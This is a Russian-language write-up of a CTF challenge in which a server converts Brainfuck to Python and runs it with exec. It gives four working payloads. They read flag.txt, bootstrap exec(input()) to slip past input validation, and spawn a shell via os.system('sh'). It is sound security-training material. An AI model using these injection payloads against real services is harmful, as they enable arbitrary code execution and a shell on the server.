Райтап на задачу «Побег с помощью Brainfuck»

8 ноября 2026
Побег с помощью Brainfuck
Категория:

Misc

Задача «Побег с помощью Brainfuck»

LastTeamLead

Автор:

LastTeamLead

Первая кровь:
velvetway
Сложность:
Medium
Дата публикации:
13.12.2025
Решений:
45
Рейтинг:
5/5
Ссылка:
Решать

Код задачи показывает, что символы Brainfuck интерпретируются в Python и выполняются через exec. Нужно написать код на Brainfuck, который преобразуется в Python-код и достаёт данные из файла.

Решений тут может быть много. Опишу четыре в порядке длины строки:

1. Кодируем код питона print(open('flag.txt').read()) в Brainfuck с помощью онлайн-генератора: ссылка. Длина строки — 195 символов.

++++++++[>++++++++++++++>+++++>++++++++++++>++++++<<<<-]>.++.---------.+++++.++++++.>.<-----.+.>>+++++.<<--.>.-.>+.<<--.>>-----.++++++.>--.<<<++++++++.++++.----.>.++.>>.<<<--.>>--.----.+++.<-.+..

2. Кодируем код питона exec(input()) и заставляем его принять уже любой чистый код, который будет выполняться без ограничений, а потом отправляем тот же print(open('flag.txt').read()). Длина строки на брайнфак — 88 символов.

++++++++++[>++++++++++>++++++++++++>++++<<<-]>+.>.<.--.>>.<<++++++.+++++.++.>---.-.>.+..
print(open('flag.txt').read())

3. У Brainfuck, кроме кодирования строк, есть ещё возможность передать запятую, и это будет означать то, что сервер считает один печатный символ из строки ввода. Такой символ проскочит мимо валидации. Нам нужно отправить 30 символов для выполнения чтения файла, значит, шлём 30 пар запятой и точки: ,.,.,. и т. д. После этого засылаем всё тот же print(open('flag.txt').read()). Длина строки для решения — 60 символов.

,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.
print(open('flag.txt').read())

4. В Brainfuck также есть и циклы, можно их использовать для оптимизации третьего решения. Можем написать бесконечный цикл, который будет считывать ввод. Такой цикл остановится, когда будет отправлен нулевой байт — 0x00. Нулевой байт с консоли отправляется командой Ctrl + @ или Ctrl + пробел, зависит от оболочки.

Цикл объявляется передачей 10 плюсов, а в квадратных скобках указываем то, что будем зацикливать. И чтобы было интереснее, импортируем в питон os и вызовем оболочку shell для выполнения команд прямо на сервере. Итоговый результат — 14 символов на Brainfuck:

++++++++++[.,]
import os
os.system('sh')
^@ # нулевой байт для остановки цикла
cat flag.txt

Другие решения этой задачи:

Если вы нашли опечатку или ошибку, пожалуйста, выделите фрагмент текста и нажмите Ctrl+Enter

Также по теме:

Райтап на задачу «Побег с помощью Brainfuck»

/Разборы задач

Райтап на задачу «Побег с помощью Brainfuck»

Разбираем интерпретатор Brainfuck, обходим ограничение ввода и читаем флаг с помощью исполнения Python-кода.
Прочитать

42

Райтап на задачу «Беги, Баг, беги!»

/Разборы задач

Райтап на задачу «Беги, Баг, беги!»

lol разбирает алгоритм движения бага, находит карту с помощью имитации отжига и автоматизирует прохождение на 250 000 шагов. Код на C и Python.
Прочитать

46